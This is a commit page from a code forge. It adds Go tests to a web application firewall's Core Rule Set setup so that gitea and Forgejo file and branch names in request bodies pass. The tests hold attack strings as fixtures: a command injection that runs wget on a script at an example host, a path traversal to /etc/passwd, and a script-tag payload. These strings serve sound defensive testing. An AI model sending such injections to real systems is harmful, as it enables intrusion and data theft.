Core Rule Set: gitea and Forgejo file and branch names in bodies pass (closes #346)
check / check (push) Waiting to run
check / check (push) Waiting to run
While SWW_WAF_BODY_LIMIT is set, these body fields skip only the rules that refused them, on their own paths: - tree_path, commit_summary and content on the web editor's pages: edit, new file, delete, upload, patch, cherry-pick and preview; - fields that name a branch, for Windows commands and command names: new_branch_name, old_branch_name, old_ref_name, from, to, head, base, branch and new_branch; base also when a pull request is edited through the API; - message of one file or several changed through the API, for system files and Windows commands. None applies when the query has a parameter of the same name. The requests were recorded from gitea 1.27.3 and Forgejo 17.0.1. Model: opus-5-5
This commit was merged in pull request #361.
This commit is contained in:
1 parent
75f30a34b2
commit
d9aaed636e
9 files changed
+488
-17
No files matched your search
@@ -915,11 +915,15 @@ const passwordKey = "password"
|
||||
// retypeKey is the field in which apps take the same password again.
|
||||
const retypeKey = "retype"
|
||||
|
||||
// htaccess is the name of a web server's settings file, which the list of
|
||||
// system files (930120) holds.
|
||||
const htaccess = ".htaccess"
|
||||
|
||||
// hardValues are words that name commands and files, as a query or form
|
||||
// value. An app's tests check that its fields let them through.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
||||
var hardValues = []string{"python3", "powershell", "ls%20-la", htaccess}
|
||||
|
||||
// randomPassword returns a password of 20 characters, each one of the 95
|
||||
// printable ASCII characters, space included, drawn from random.
|
||||
@@ -1644,7 +1648,7 @@ func wordpressWords() []struct {
|
||||
value string
|
||||
rule int
|
||||
}{
|
||||
{".htaccess", 930120},
|
||||
{htaccess, 930120},
|
||||
{"powershell", 932120},
|
||||
{"ls -la", 932250},
|
||||
{"python3", 932260},
|
||||
@@ -2317,6 +2321,9 @@ const scriptTag = "<script>alert(1)</script>"
|
||||
// pathTraversal is a path traversal, not escaped.
|
||||
const pathTraversal = "../../etc/passwd"
|
||||
|
||||
// shellCommand is commandInjection, not escaped.
|
||||
const shellCommand = "; wget http://example.com/x.sh"
|
||||
|
||||
// readingBodies returns the Core Rule Set as sww runs it by
|
||||
// default, but reading bodies up to bodyLimit.
|
||||
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
@@ -2586,6 +2593,222 @@ func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
|
||||
)
|
||||
}
|
||||
|
||||
// nameInBody is a name gitea or Forgejo sends in field of a body to path.
|
||||
// contentType is formData or jsonBody.
|
||||
type nameInBody struct{ path, contentType, field, name string }
|
||||
|
||||
// giteaNamesInBodies returns names gitea and Forgejo send in a body field that
|
||||
// skips the rules that refused them there: a file's path or text, a commit's
|
||||
// summary or message, and the branch names of giteaBranchNamesInBodies.
|
||||
func giteaNamesInBodies() []nameInBody {
|
||||
const (
|
||||
repo = "/alice/tools"
|
||||
api = "/api/v1/repos/alice/tools"
|
||||
|
||||
// Fields that several paths send.
|
||||
treePath = "tree_path"
|
||||
commitSummary = "commit_summary"
|
||||
message = "message"
|
||||
)
|
||||
|
||||
// A file's path or text, or a commit's summary or message.
|
||||
texts := []nameInBody{
|
||||
{
|
||||
repo + "/_edit/main/compose.yml",
|
||||
formData,
|
||||
treePath,
|
||||
"docker-compose.yml",
|
||||
},
|
||||
{repo + "/_edit/main/.htaccess", formData, treePath, htaccess},
|
||||
{
|
||||
repo + "/_edit/main/scripts/install-script.sh", formData,
|
||||
treePath, "scripts/install-script.sh",
|
||||
},
|
||||
{repo + "/_new/main/", formData, treePath, "docs/python3-setup.md"},
|
||||
{
|
||||
repo + "/_delete/main/.htaccess",
|
||||
formData,
|
||||
commitSummary,
|
||||
"Remove .htaccess",
|
||||
},
|
||||
{
|
||||
repo + "/_new/main/",
|
||||
formData,
|
||||
"content",
|
||||
"# Setup\r\n\r\nInstall the tools.\r\n",
|
||||
},
|
||||
{
|
||||
repo + "/_preview/main/docs/setup.md",
|
||||
formData,
|
||||
"content",
|
||||
"# Setup\r\n\r\nInstall the tools.\r\n",
|
||||
},
|
||||
{
|
||||
repo + "/_upload/main/scripts/powershell",
|
||||
formData,
|
||||
treePath,
|
||||
"scripts/powershell",
|
||||
},
|
||||
{
|
||||
repo + "/_upload/main/scripts/powershell", formData,
|
||||
commitSummary, "Add a PowerShell build script",
|
||||
},
|
||||
{
|
||||
repo + "/_cherrypick/6b02ec9/main",
|
||||
formData,
|
||||
commitSummary,
|
||||
"Document .htaccess",
|
||||
},
|
||||
{
|
||||
api + "/contents/scripts/powershell-build.ps1", jsonBody,
|
||||
message, "Add a PowerShell build script",
|
||||
},
|
||||
{api + "/contents/.htaccess", jsonBody, message, "Remove .htaccess"},
|
||||
{
|
||||
api + "/contents",
|
||||
jsonBody,
|
||||
message,
|
||||
"Add the PowerShell setup notes",
|
||||
},
|
||||
{api + "/contents", jsonBody, message, "Document .htaccess"},
|
||||
}
|
||||
|
||||
return slices.Concat(texts, giteaBranchNamesInBodies())
|
||||
}
|
||||
|
||||
// giteaBranchNamesInBodies returns the branch names gitea and Forgejo send in
|
||||
// a body field that skips the rules that refused them there. Each field comes
|
||||
// with a name for each rule it skips: feat/docker-support for the command
|
||||
// names (932260), and fix-powershell-module for the Windows commands (932120).
|
||||
func giteaBranchNamesInBodies() []nameInBody {
|
||||
const (
|
||||
repo = "/alice/tools"
|
||||
api = "/api/v1/repos/alice/tools"
|
||||
|
||||
// Fields that several paths send.
|
||||
branch = "branch"
|
||||
newBranchName = "new_branch_name"
|
||||
)
|
||||
|
||||
branchFields := []struct{ path, contentType, field string }{
|
||||
{repo + "/_edit/main/compose.yml", formData, newBranchName},
|
||||
{repo + "/_new/main/", formData, newBranchName},
|
||||
{repo + "/_delete/main/.htaccess", formData, newBranchName},
|
||||
{repo + "/_upload/main/docs", formData, newBranchName},
|
||||
{repo + "/_diffpatch/main/", formData, newBranchName},
|
||||
{repo + "/_cherrypick/6b02ec9/main", formData, newBranchName},
|
||||
{repo + "/branches/_new/branch/main", formData, newBranchName},
|
||||
{repo + "/branches/rename", formData, "from"},
|
||||
{repo + "/branches/rename", formData, "to"},
|
||||
// Forgejo's path for renaming a branch.
|
||||
{repo + "/settings/rename_branch", formData, "from"},
|
||||
{repo + "/settings/rename_branch", formData, "to"},
|
||||
{api + "/branches", jsonBody, newBranchName},
|
||||
{api + "/branches", jsonBody, "old_branch_name"},
|
||||
{api + "/branches", jsonBody, "old_ref_name"},
|
||||
{api + "/pulls", jsonBody, "head"},
|
||||
{api + "/pulls", jsonBody, "base"},
|
||||
{api + "/pulls/1", jsonBody, "base"},
|
||||
{api + "/contents/docs/notes.md", jsonBody, branch},
|
||||
{api + "/contents/docs/notes.md", jsonBody, "new_branch"},
|
||||
{api + "/contents", jsonBody, branch},
|
||||
{api + "/contents", jsonBody, "new_branch"},
|
||||
}
|
||||
|
||||
branchNames := []string{"feat/docker-support", "fix-powershell-module"}
|
||||
|
||||
names := make([]nameInBody, 0, len(branchFields)*len(branchNames))
|
||||
|
||||
for _, f := range branchFields {
|
||||
for _, name := range branchNames {
|
||||
names = append(
|
||||
names,
|
||||
nameInBody{f.path, f.contentType, f.field, name},
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
return names
|
||||
}
|
||||
|
||||
// TestGiteaNamesInBodiesStillRefuseAttacks checks the body fields in which
|
||||
// gitea and Forgejo name a file or a branch. Each lets through the name that
|
||||
// was refused there, and still refuses a shell command after a ";" and a path
|
||||
// traversal. The same name is still refused in another field on the same path,
|
||||
// and in the field itself when the query has a parameter of the field's name.
|
||||
func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, tc := range giteaNamesInBodies() {
|
||||
r := request{http.MethodPost, tc.path, []string{tc.contentType}}
|
||||
|
||||
body := func(field, value string) string {
|
||||
if tc.contentType == formData {
|
||||
return field + "=" + url.QueryEscape(value)
|
||||
}
|
||||
|
||||
quoted, err := json.Marshal(map[string]string{field: value})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
return string(quoted)
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, body(tc.field, tc.name)); got.Score >= threshold {
|
||||
t.Errorf(
|
||||
"%s %s=%q refused: %+v",
|
||||
tc.path,
|
||||
tc.field,
|
||||
tc.name,
|
||||
got,
|
||||
)
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, body("other", tc.name)); got.Score < threshold {
|
||||
t.Errorf("%s other=%q let through: %+v", tc.path, tc.name, got)
|
||||
}
|
||||
|
||||
param := tc.field
|
||||
if tc.contentType == jsonBody {
|
||||
param = "json." + tc.field
|
||||
}
|
||||
|
||||
queried := request{
|
||||
http.MethodPost,
|
||||
tc.path + "?" + param + "=x",
|
||||
r.headers,
|
||||
}
|
||||
|
||||
got, _ := inspectBody(t, crs, queried, body(tc.field, tc.name))
|
||||
if got.Score < threshold {
|
||||
t.Errorf(
|
||||
"%s %s=%q let through: %+v",
|
||||
queried.target,
|
||||
tc.field,
|
||||
tc.name,
|
||||
got,
|
||||
)
|
||||
}
|
||||
|
||||
for _, attack := range []string{shellCommand, pathTraversal} {
|
||||
if got, _ := inspectBody(t, crs, r, body(tc.field, attack)); got.Score < threshold {
|
||||
t.Errorf(
|
||||
"%s %s=%q let through: %+v",
|
||||
tc.path,
|
||||
tc.field,
|
||||
attack,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
|
||||
Reference in new issue
Block a user